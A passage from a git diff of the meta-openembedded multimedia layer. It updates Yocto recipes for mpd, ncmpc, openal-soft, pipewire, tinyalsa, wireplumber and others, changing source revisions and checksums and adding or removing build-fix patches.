-../git/src/decoder/plugins/SndfileDecoderPlugin.cxx:231:25: error: non-constant-expression cannot be narrowed from type 'sf_count_t' (aka 'long long') to 'size_type' (aka 'unsigned int') in initializer list [-Wc++11-narrowing]
- std::span{buffer, num_frames * frame_size},
- ^~~~~~~~~~~~~~~~~~~~~~~
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/decoder/plugins/SndfileDecoderPlugin.cxx | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/decoder/plugins/SndfileDecoderPlugin.cxx b/src/decoder/plugins/SndfileDecoderPlugin.cxx
-index ad3908847..a3cb87ca9 100644
---- a/src/decoder/plugins/SndfileDecoderPlugin.cxx
-+++ b/src/decoder/plugins/SndfileDecoderPlugin.cxx
-@@ -228,7 +228,7 @@ sndfile_stream_decode(DecoderClient &client, InputStream &is)
- break;
-
- cmd = client.SubmitAudio(is,
-- std::span{buffer, num_frames * frame_size},
-+ std::span{buffer, static_cast<std::size_t>(num_frames * frame_size)},
- 0);
- if (cmd == DecoderCommand::SEEK) {
- sf_count_t c = client.GetSeekFrame();
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-patch-src_decoder_plugins_FfmpegIo.cxx.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-patch-src_decoder_plugins_FfmpegIo.cxx.patch
new file mode 100644
index 0000000000..b2dea331ef
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/0001-patch-src_decoder_plugins_FfmpegIo.cxx.patch
@@ -0,0 +1,26 @@
+From e62fd0eefe8b475e70d87a673a7216aac3bb622f Mon Sep 17 00:00:00 2001
+From: Markus Volk <f_l_k@t-online.de>
+Date: Mon, 20 Nov 2023 17:49:59 +0100
+Subject: [PATCH] patch src_decoder_plugins_FfmpegIo.cxx
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+Upstream-Status: Pending [https://github.com/MusicPlayerDaemon/MPD/issues/1898]
+---
+ src/decoder/plugins/FfmpegIo.cxx | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/decoder/plugins/FfmpegIo.cxx b/src/decoder/plugins/FfmpegIo.cxx
+index 572f1a86a..3e2347fec 100644
+--- a/src/decoder/plugins/FfmpegIo.cxx
++++ b/src/decoder/plugins/FfmpegIo.cxx
+@@ -25,6 +25,7 @@
+ #include "input/InputStream.hxx"
+
+ extern "C" {
++#include <libavutil/error.h>
+ #include <libavutil/mem.h>
+ }
+
+--
+2.42.0
+
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/fix-build-error-when-fmt-updated.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/fix-build-error-when-fmt-updated.patch
deleted file mode 100644
index ebbea2b358..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/fix-build-error-when-fmt-updated.patch
+++ /dev/null
@@ -1,71 +0,0 @@
-Upstream-Status: Backport [https://github.com/MusicPlayerDaemon/MPD/commit/181b96dd2d71bc8f2668776719d344466f258b5d]
-
-Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
-
-From 181b96dd2d71bc8f2668776719d344466f258b5d Mon Sep 17 00:00:00 2001
-From: Max Kellermann <max.kellermann@gmail.com>
-Date: Mon, 15 May 2023 20:52:21 +0200
-Subject: [PATCH] command/player, SongPrint: use AudioFormatFormatter()
-
-libfmt version 10 apparently doesn't know how to format a
-`StringBuffer`, failing the MPD build. Since we have a formatter
-specialization for `AudioFormat`, let's use that - it's better and
-easier to use.
-
-Closes https://github.com/MusicPlayerDaemon/MPD/issues/1807
----
- src/SongPrint.cxx | 5 +++--
- src/command/PlayerCommands.cxx | 3 ++-
- 2 files changed, 5 insertions(+), 3 deletions(-)
-
-diff --git a/src/SongPrint.cxx b/src/SongPrint.cxx
-index 98d544cc38..835669d276 100644
---- a/src/SongPrint.cxx
-+++ b/src/SongPrint.cxx
-@@ -8,6 +8,7 @@
- #include "TagPrint.hxx"
- #include "client/Response.hxx"
- #include "fs/Traits.hxx"
-+#include "lib/fmt/AudioFormatFormatter.hxx"
- #include "time/ChronoUtil.hxx"
- #include "util/StringBuffer.hxx"
- #include "util/UriUtil.hxx"
-@@ -77,7 +78,7 @@ song_print_info(Response &r, const LightSong &song, bool base) noexcept
- time_print(r, "Last-Modified", song.mtime);
-
- if (song.audio_format.IsDefined())
-- r.Fmt(FMT_STRING("Format: {}\n"), ToString(song.audio_format));
-+ r.Fmt(FMT_STRING("Format: {}\n"), song.audio_format);
-
- tag_print_values(r, song.tag);
-
-@@ -100,7 +101,7 @@ song_print_info(Response &r, const DetachedSong &song, bool base) noexcept
- time_print(r, "Last-Modified", song.GetLastModified());
-
- if (const auto &f = song.GetAudioFormat(); f.IsDefined())
-- r.Fmt(FMT_STRING("Format: {}\n"), ToString(f));
-+ r.Fmt(FMT_STRING("Format: {}\n"), f);
-
- tag_print_values(r, song.GetTag());
-
-diff --git a/src/command/PlayerCommands.cxx b/src/command/PlayerCommands.cxx
-index 5108b9d3c4..0b5a917020 100644
---- a/src/command/PlayerCommands.cxx
-+++ b/src/command/PlayerCommands.cxx
-@@ -13,6 +13,7 @@
- #include "Partition.hxx"
- #include "Instance.hxx"
- #include "IdleFlags.hxx"
-+#include "lib/fmt/AudioFormatFormatter.hxx"
- #include "util/StringBuffer.hxx"
- #include "util/ScopeExit.hxx"
- #include "util/Exception.hxx"
-@@ -170,7 +171,7 @@ handle_status(Client &client, [[maybe_unused]] Request args, Response &r)
-
- if (player_status.audio_format.IsDefined())
- r.Fmt(FMT_STRING(COMMAND_STATUS_AUDIO ": {}\n"),
-- ToString(player_status.audio_format));
-+ player_status.audio_format);
- }
-
- #ifdef ENABLE_DATABASE
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/minor-fixup-for-libfmt10.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/minor-fixup-for-libfmt10.patch
deleted file mode 100644
index 0c9d979107..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd/minor-fixup-for-libfmt10.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-Upstream-Status: Backport
-[https://github.com/MusicPlayerDaemon/MPD/commit/f869593ac8913e52c711e974257bd6dc0d5dbf26]
-
-Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
-
-From f869593ac8913e52c711e974257bd6dc0d5dbf26 Mon Sep 17 00:00:00 2001
-From: Max Kellermann <max.kellermann@gmail.com>
-Date: Mon, 15 May 2023 20:59:58 +0200
-Subject: [PATCH] TimePrint: minor fixup for libfmt 10
-
-libfmt version 10 has difficulties formatting a `StringBuffer`, and we
-need to help it by explicitly invoking the `c_str()` method.
----
- src/TimePrint.cxx | 2 +-
- 1 files changed, 1 insertions(+), 1 deletion(-)
-
-diff --git a/src/TimePrint.cxx b/src/TimePrint.cxx
-index 5bf05f6238..d47f3178bb 100644
---- a/src/TimePrint.cxx
-+++ b/src/TimePrint.cxx
-@@ -20,5 +20,5 @@ time_print(Response &r, const char *name,
- return;
- }
-
-- r.Fmt(FMT_STRING("{}: {}\n"), name, s);
-+ r.Fmt(FMT_STRING("{}: {}\n"), name, s.c_str());
- }
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd_0.23.12.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd_0.23.14.bb
index 0c309ded00..a762fc8322 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd_0.23.12.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/mpd_0.23.14.bb
@@ -19,12 +19,10 @@ DEPENDS += " \
"
SRC_URI = "git://github.com/MusicPlayerDaemon/MPD;branch=master;protocol=https \
+ file://0001-patch-src_decoder_plugins_FfmpegIo.cxx.patch \
file://mpd.conf.in \
- file://minor-fixup-for-libfmt10.patch \
- file://fix-build-error-when-fmt-updated.patch \
- file://0001-SndfileDecoderPlugin-Fix-type-mismatch-for-std-span.patch \
"
-SRCREV = "b1422fbda40a1831d397fb161e7a555443c2a072"
+SRCREV = "feac1a3f56591ccfb00870aba66c9ac3abac4773"
S = "${WORKDIR}/git"
EXTRA_OEMESON += "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '-Dsystemd=enabled -Dsystemd_system_unit_dir=${systemd_system_unitdir} -Dsystemd_user_unit_dir=${systemd_system_unitdir}', '-Dsystemd=disabled', d)}"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc/0001-SearchPage-use-regular-integer-to-fix-Wenum-constexp.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc/0001-SearchPage-use-regular-integer-to-fix-Wenum-constexp.patch
deleted file mode 100644
index 92094af1f2..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc/0001-SearchPage-use-regular-integer-to-fix-Wenum-constexp.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 2e8dc2c28c0938dbbb85ebbac2b9a60be9ccd9f3 Mon Sep 17 00:00:00 2001
-From: Max Kellermann <max@musicpd.org>
-Date: Wed, 23 Nov 2022 12:25:50 +0100
-Subject: [PATCH] SearchPage: use regular integer to fix -Wenum-constexpr-conversion
-
-Upstream-Status: Backport [https://github.com/MusicPlayerDaemon/ncmpc/commit/ddd1757907f0376b5843f707bf182b7827ff6591]
----
- src/SearchPage.cxx | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/SearchPage.cxx b/src/SearchPage.cxx
-index 2fa5edbc..3f91c4fe 100644
---- a/src/SearchPage.cxx
-+++ b/src/SearchPage.cxx
-@@ -81,7 +81,7 @@ search_get_tag_id(const char *name)
- }
-
- struct SearchMode {
-- enum mpd_tag_type table;
-+ int table;
- const char *label;
- };
-
-@@ -89,8 +89,8 @@ static constexpr SearchMode mode[] = {
- { MPD_TAG_TITLE, N_("Title") },
- { MPD_TAG_ARTIST, N_("Artist") },
- { MPD_TAG_ALBUM, N_("Album") },
-- { (enum mpd_tag_type)SEARCH_URI, N_("Filename") },
-- { (enum mpd_tag_type)SEARCH_ARTIST_TITLE, N_("Artist + Title") },
-+ { SEARCH_URI, N_("Filename") },
-+ { SEARCH_ARTIST_TITLE, N_("Artist + Title") },
- { MPD_TAG_COUNT, nullptr }
- };
-
---
-2.39.0
-
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc_0.47.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc_0.49.bb
index 44046912ed..d93c054f45 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc_0.47.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/musicpd/ncmpc_0.49.bb
@@ -32,9 +32,6 @@ PACKAGECONFIG[lyrics_screen] = "-Dlyrics_screen=true,-Dlyrics_screen=false"
PACKAGECONFIG[outputs_screen] = "-Doutputs_screen=true,-Doutputs_screen=false"
PACKAGECONFIG[chat_screen] = "-Dchat_screen=true,-Dchat_screen=false"
-SRC_URI = " \
- git://github.com/MusicPlayerDaemon/ncmpc;branch=master;protocol=https \
- file://0001-SearchPage-use-regular-integer-to-fix-Wenum-constexp.patch \
-"
-SRCREV = "fc8de01c71acdf10ad07c7aae756dc522b848124"
+SRC_URI = "git://github.com/MusicPlayerDaemon/ncmpc;branch=master;protocol=https"
+SRCREV = "f81f875fc5785383d24f54fb9bd3cf06efd915a4"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/nv-codec-headers/nv-codec-headers_12.0.16.0.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/nv-codec-headers/nv-codec-headers_12.1.14.0.bb
index 4bff4f24b7..36885f29e2 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/nv-codec-headers/nv-codec-headers_12.0.16.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/nv-codec-headers/nv-codec-headers_12.1.14.0.bb
@@ -7,7 +7,7 @@ SRC_URI = " \
git://git.videolan.org/git/ffmpeg/nv-codec-headers.git;branch=master;protocol=https \
file://0001-Makefile-add-clean-target.patch \
"
-SRCREV = "c5e4af74850a616c42d39ed45b9b8568b71bf8bf"
+SRCREV = "1889e62e2d35ff7aa9baca2bceb14f053785e6f1"
S = "${WORKDIR}/git"
EXTRA_OEMAKE = "PREFIX=${prefix} DESTDIR=${D} LIBDIR=${baselib}"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.20.1.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.20.1.bb
deleted file mode 100644
index ad70005721..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.20.1.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "OpenAL is a cross-platform 3D audio API"
-HOMEPAGE = "http://kcat.strangesoft.net/openal.html"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0f159f19f9377e1895fbb477d5a7953e"
-
-inherit cmake pkgconfig
-
-SRCREV = "f5e0eef34db3a3ab94b61a2f99f84f078ba947e7"
-SRC_URI = "git://github.com/kcat/openal-soft;branch=master;protocol=https \
- file://0001-Use-BUILD_CC-to-compile-native-tools.patch \
- file://0002-makehrtf-Disable-Wstringop-truncation.patch \
- "
-
-S = "${WORKDIR}/git"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'alsa pulseaudio', d)}"
-PACKAGECONFIG[alsa] = "-DALSA=TRUE, -DALSA=FALSE, alsa-lib"
-PACKAGECONFIG[pulseaudio] = "-DPULSEAUDIO=TRUE, -DPULSEAUDIO=FALSE, pulseaudio"
-# currently doesn't work with libav-9
-# PKG_CHECK_MODULES(FFMPEG libavcodec>=53.61.100 libavformat>=53.32.100 libavutil>=51.35.100)
-# but alffmpeg.c:418:44: error: 'AV_CH_LAYOUT_MONO' undeclared (first use in this function)
-PACKAGECONFIG[examples] = "-DEXAMPLES=TRUE, -DEXAMPLES=FALSE, libav"
-
-FILES:${PN} += "${datadir}/openal"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.23.1.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.23.1.bb
new file mode 100644
index 0000000000..83745703f5
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/openal/openal-soft_1.23.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "OpenAL is a cross-platform 3D audio API"
+HOMEPAGE = "http://kcat.strangesoft.net/openal.html"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0f159f19f9377e1895fbb477d5a7953e"
+
+inherit cmake pkgconfig
+
+DEPENDS = "zlib libsndfile1"
+
+SRCREV = "d3875f333fb6abe2f39d82caca329414871ae53b"
+SRC_URI = "git://github.com/kcat/openal-soft.git;protocol=https;branch=master"
+
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'alsa pipewire pulseaudio', d)}"
+PACKAGECONFIG[alsa] = "-DALSOFT_BACKEND_ALSA=ON,-DALSOFT_BACKEND_ALSA=OFF,alsa-lib"
+PACKAGECONFIG[oss] = "-DALSOFT_BACKEND_OSS=ON,-DALSOFT_BACKEND_OSS=OFF"
+PACKAGECONFIG[pulseaudio] = "-DALSOFT_BACKEND_PULSEAUDIO=ON,-DALSOFT_BACKEND_PULSEAUDIO=OFF,pulseaudio"
+PACKAGECONFIG[pipewire] = "-DALSOFT_BACKEND_PIPEWIRE=ON,-DALSOFT_BACKEND_PIPEWIRE=OFF,pipewire"
+PACKAGECONFIG[examples] = "-DALSOFT_EXAMPLES=ON,-DALSOFT_EXAMPLES=OFF"
+PACKAGECONFIG[sdl2] = "-DALSOFT_BACKEND_SDL2=ON,-DALSOFT_BACKEND_SDL2=OFF,libsdl2 ffmpeg"
+
+FILES:${PN} += "${datadir}"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/opencore-amr/opencore-amr_0.1.3.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/opencore-amr/opencore-amr_0.1.6.bb
index ab5813ebe9..be7977308b 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/opencore-amr/opencore-amr_0.1.3.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/opencore-amr/opencore-amr_0.1.6.bb
@@ -4,10 +4,10 @@ SECTION = "libs"
LICENSE = "Apache-2.0"
LICENSE_FLAGS = "commercial"
-LIC_FILES_CHKSUM = "file://COPYING;md5=dd2c2486aca02190153cf399e508c7e7"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=dd2c2486aca02190153cf399e508c7e7"
SRC_URI = "${SOURCEFORGE_MIRROR}/opencore-amr/${BP}.tar.gz"
-SRC_URI[md5sum] = "09d2c5dfb43a9f6e9fec8b1ae678e725"
-SRC_URI[sha256sum] = "106bf811c1f36444d7671d8fd2589f8b2e0cca58a2c764da62ffc4a070595385"
+SRC_URI[md5sum] = "03de025060a4f16c4c44218f65e13e95"
+SRC_URI[sha256sum] = "483eb4061088e2b34b358e47540b5d495a96cd468e361050fae615b1809dc4a1"
inherit autotools
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/packagegroups/packagegroup-meta-multimedia.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/packagegroups/packagegroup-meta-multimedia.bb
index fddfd720da..b18ad6ad1b 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/packagegroups/packagegroup-meta-multimedia.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/packagegroups/packagegroup-meta-multimedia.bb
@@ -25,9 +25,6 @@ RDEPENDS:packagegroup-meta-multimedia = "\
bluealsa \
caps \
cdparanoia \
- dleyna-connector-dbus \
- dleyna-renderer \
- dleyna-server \
dvb-apps \
${@bb.utils.contains("LICENSE_FLAGS_ACCEPTED", "commercial", "faac mpd", "", d)} \
gerbera \
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/pipewire/pipewire_0.3.81.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/pipewire/pipewire_0.3.85.bb
index 2a3699f93e..883d02d51b 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/pipewire/pipewire_0.3.81.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/pipewire/pipewire_0.3.85.bb
@@ -2,7 +2,6 @@ SUMMARY = "Multimedia processing server for Linux"
DESCRIPTION = "Linux server for handling and routing audio and video streams between applications and multimedia I/O devices"
HOMEPAGE = "https://pipewire.org/"
BUGTRACKER = "https://gitlab.freedesktop.org/pipewire/pipewire/issues"
-AUTHOR = "Wim Taymans <wtaymans@redhat.com>"
SECTION = "multimedia"
LICENSE = "MIT & LGPL-2.1-or-later & GPL-2.0-only"
@@ -13,7 +12,7 @@ LIC_FILES_CHKSUM = " \
DEPENDS = "dbus ncurses"
-SRCREV = "181fbfee6d3fcc3afd3c93613f126a8346dad586"
+SRCREV = "7db1e7f643a454056327999b2d8e35d8097b5593"
SRC_URI = "git://gitlab.freedesktop.org/pipewire/pipewire.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-Use-CMAKE_INSTALL_-path-instead-of-hardcoding-bin-li.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-Use-CMAKE_INSTALL_-path-instead-of-hardcoding-bin-li.patch
deleted file mode 100644
index 6f9c39996b..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-Use-CMAKE_INSTALL_-path-instead-of-hardcoding-bin-li.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From fe4f3c2a37a81201f463ff962364f014f50c9896 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 16 Dec 2019 22:58:41 -0800
-Subject: [PATCH] Use CMAKE_INSTALL_<path> instead of hardcoding bin/lib/
- install paths
-
-Helps fix build/packaging issues on machines where default libdir is not
-lib but say lib64
-
-Upstream-Status: Submitted [https://github.com/tinyalsa/tinyalsa/pull/143]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- CMakeLists.txt | 14 +++++++++++---
- 1 file changed, 11 insertions(+), 3 deletions(-)
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index cb31c58..1cc4a85 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -41,12 +41,20 @@ add_util("tinymix" "utils/tinymix.c")
- install(FILES ${HDRS}
- DESTINATION "include/tinyalsa")
-
-+if(NOT DEFINED CMAKE_INSTALL_LIBDIR)
-+ set(CMAKE_INSTALL_LIBDIR lib)
-+endif()
-+
-+if(NOT DEFINED CMAKE_INSTALL_BINDIR)
-+ set(CMAKE_INSTALL_BINDIR bin)
-+endif()
-+
- install(TARGETS "tinyalsa"
- "tinyplay"
- "tinycap"
- "tinymix"
- "tinypcminfo"
-- RUNTIME DESTINATION "bin"
-- ARCHIVE DESTINATION "lib"
-- LIBRARY DESTINATION "lib")
-+ RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}
-+ ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
-+ LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR})
-
---
-2.24.1
-
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-fixed-compilation-error-caused-by-strncpy.patch b/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-fixed-compilation-error-caused-by-strncpy.patch
new file mode 100644
index 0000000000..64ebdb19c9
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa/0001-fixed-compilation-error-caused-by-strncpy.patch
@@ -0,0 +1,69 @@
+From 639650dd64e483074dd7c3c7ea6dc1b1bd542743 Mon Sep 17 00:00:00 2001
+From: alperak <alperyasinak1@gmail.com>
+Date: Sun, 12 Nov 2023 20:16:55 +0300
+Subject: [PATCH] fixed compilation error caused by strncpy
+
+Issue:
+ https://github.com/tinyalsa/tinyalsa/issues/219
+
+Fix:
+ https://github.com/tinyalsa/tinyalsa/pull/220
+ https://github.com/tinyalsa/tinyalsa/pull/221
+
+Upstream-Status: Submitted
+
+Signed-off-by: alperak <alperyasinak1@gmail.com>
+---
+ src/mixer_plugin.c | 8 +++++---
+ src/pcm_plugin.c | 9 ++++++---
+ 2 files changed, 11 insertions(+), 6 deletions(-)
+
+diff --git a/src/mixer_plugin.c b/src/mixer_plugin.c
+index 34117a9..f608563 100644
+--- a/src/mixer_plugin.c
++++ b/src/mixer_plugin.c
+@@ -82,7 +82,8 @@ static int mixer_plug_get_elem_id(struct mixer_plug_data *plug_data,
+ id->iface = ctl->iface;
+
+ strncpy((char *)id->name, (char *)ctl->name,
+- sizeof(id->name));
++ sizeof(id->name) - 1);
++ ((char *)id->name)[sizeof(id->name) - 1] = '\0';
+
+ return 0;
+ }
+@@ -100,8 +101,9 @@ static int mixer_plug_info_enum(struct snd_control *ctl,
+
+ strncpy(einfo->value.enumerated.name,
+ val->texts[einfo->value.enumerated.item],
+- sizeof(einfo->value.enumerated.name));
+-
++ sizeof(einfo->value.enumerated.name) - 1);
++ einfo->value.enumerated.name[sizeof(einfo->value.enumerated.name) - 1] = '\0';
++
+ return 0;
+ }
+
+diff --git a/src/pcm_plugin.c b/src/pcm_plugin.c
+index 15bfc80..47bf4a5 100644
+--- a/src/pcm_plugin.c
++++ b/src/pcm_plugin.c
+@@ -153,9 +153,12 @@ static int pcm_plug_info(struct pcm_plug_data *plug_data,
+ return ret;
+ }
+
+- strncpy((char *)info->id, name, sizeof(info->id));
+- strncpy((char *)info->name, name, sizeof(info->name));
+- strncpy((char *)info->subname, name, sizeof(info->subname));
++ strncpy((char *)info->id, name, sizeof(info->id) - 1);
++ ((char *)info->id)[sizeof(info->id) - 1] = '\0';
++ strncpy((char *)info->name, name, sizeof(info->name) - 1);
++ ((char *)info->name)[sizeof(info->name) - 1] = '\0';
++ strncpy((char *)info->subname, name, sizeof(info->subname) - 1);
++ ((char *)info->subname)[sizeof(info->subname) - 1] = '\0';
+
+ info->subdevices_count = 1;
+
+--
+2.25.1
+
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa_2.0.0.bb
index 68cf8795a6..e261611afd 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/tinyalsa/tinyalsa_2.0.0.bb
@@ -4,13 +4,12 @@ HOMEPAGE = "https://github.com/tinyalsa/tinyalsa"
SECTION = "libs/multimedia"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://NOTICE;md5=dbdefe400d894b510a9de14813181d0b"
+LIC_FILES_CHKSUM = "file://NOTICE;md5=e04cd6fa58488e016f7fb648ebea1db4"
-SRCREV = "8449529c7e50f432091539ba7b438e79b04059b5"
+SRCREV = "1c5fb68ced57d838f2b7ecd0c00bc1fefc9ab60d"
SRC_URI = "git://github.com/tinyalsa/tinyalsa;branch=master;protocol=https \
- file://0001-Use-CMAKE_INSTALL_-path-instead-of-hardcoding-bin-li.patch \
+ file://0001-fixed-compilation-error-caused-by-strncpy.patch \
"
-PV = "1.1.1+git${SRCPV}"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/vlc/libdvdcss_1.4.2.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/vlc/libdvdcss_1.4.3.bb
index 0b472b81d9..42c771e0ff 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/vlc/libdvdcss_1.4.2.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/vlc/libdvdcss_1.4.3.bb
@@ -9,5 +9,4 @@ inherit autotools
EXTRA_OECONF = " --disable-doc "
-SRC_URI[md5sum] = "7b74f2e142b13c9de6dc8d807ab912d4"
-SRC_URI[sha256sum] = "78c2ed77ec9c0d8fbed7bf7d3abc82068b8864be494cfad165821377ff3f2575"
+SRC_URI[sha256sum] = "233cc92f5dc01c5d3a96f5b3582be7d5cee5a35a52d3a08158745d3d86070079"
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/wireplumber/wireplumber_0.4.14.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/wireplumber/wireplumber_0.4.15.bb
index 6f93b443d2..5a180d1e07 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/wireplumber/wireplumber_0.4.14.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/wireplumber/wireplumber_0.4.15.bb
@@ -1,7 +1,6 @@
SUMMARY = "Session / policy manager implementation for PipeWire"
HOMEPAGE = "https://gitlab.freedesktop.org/pipewire/wireplumber"
BUGTRACKER = "https://gitlab.freedesktop.org/pipewire/wireplumber/issues"
-AUTHOR = "George Kiagiadakis <george.kiagiadakis@collabora.com>"
SECTION = "multimedia"
LICENSE = "MIT"
@@ -11,7 +10,7 @@ DEPENDS = "glib-2.0 glib-2.0-native lua pipewire \
${@bb.utils.contains("DISTRO_FEATURES", "gobject-introspection-data", "python3-native python3-lxml-native doxygen-native", "", d)} \
"
-SRCREV = "6d0c7f7b7f484b3cd2aaf2e2b3cc902c095b4946"
+SRCREV = "d67b48e595cb4612fd7fd47f97df6b8883ef7f60"
SRC_URI = " \
git://gitlab.freedesktop.org/pipewire/wireplumber.git;branch=master;protocol=https \
file://90-OE-disable-session-dbus-dependent-features.lua \
@@ -133,7 +132,7 @@ CONFFILES:${PN} += " \
# itself to become a daemon, in practice, the PipeWire daemon is used.
RRECOMMENDS:${PN} += "pipewire ${PN}-scripts ${PN}-modules-meta"
-FILES:${PN} += "${systemd_user_unitdir} ${systemd_system_unitdir}"
+FILES:${PN} += "${systemd_user_unitdir} ${systemd_system_unitdir} ${datadir}/zsh"
FILES:libwireplumber = " \
${libdir}/libwireplumber-*.so.* \
diff --git a/meta-openembedded/meta-multimedia/recipes-multimedia/x265/x265_3.2.1.bb b/meta-openembedded/meta-multimedia/recipes-multimedia/x265/x265_3.2.1.bb
index 250af58e17..2d4f389e34 100644
--- a/meta-openembedded/meta-multimedia/recipes-multimedia/x265/x265_3.2.1.bb
+++ b/meta-openembedded/meta-multimedia/recipes-multimedia/x265/x265_3.2.1.bb
@@ -18,7 +18,7 @@ SRC_URI[sha256sum] = "fb9badcf92364fd3567f8b5aa0e5e952aeea7a39a2b864387cec31e3b5
inherit lib_package pkgconfig cmake
do_generate_toolchain_file:append() {
- echo "set(CMAKE_ASM_NASM_FLAGS --debug-prefix-map ${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR})" >> ${WORKDIR}/toolchain.cmake
+ echo "set(CMAKE_ASM_NASM_FLAGS --debug-prefix-map ${S}=${TARGET_DBGSRC_DIR})" >> ${WORKDIR}/toolchain.cmake
}
EXTRA_OECMAKE:append:x86 = " -DENABLE_ASSEMBLY=OFF"
diff --git a/meta-openembedded/meta-multimedia/recipes-support/libmediaart/libmediaart-2.0_1.9.5.bb b/meta-openembedded/meta-multimedia/recipes-support/libmediaart/libmediaart-2.0_1.9.6.bb
index ad42e27278..376dd15d17 100644
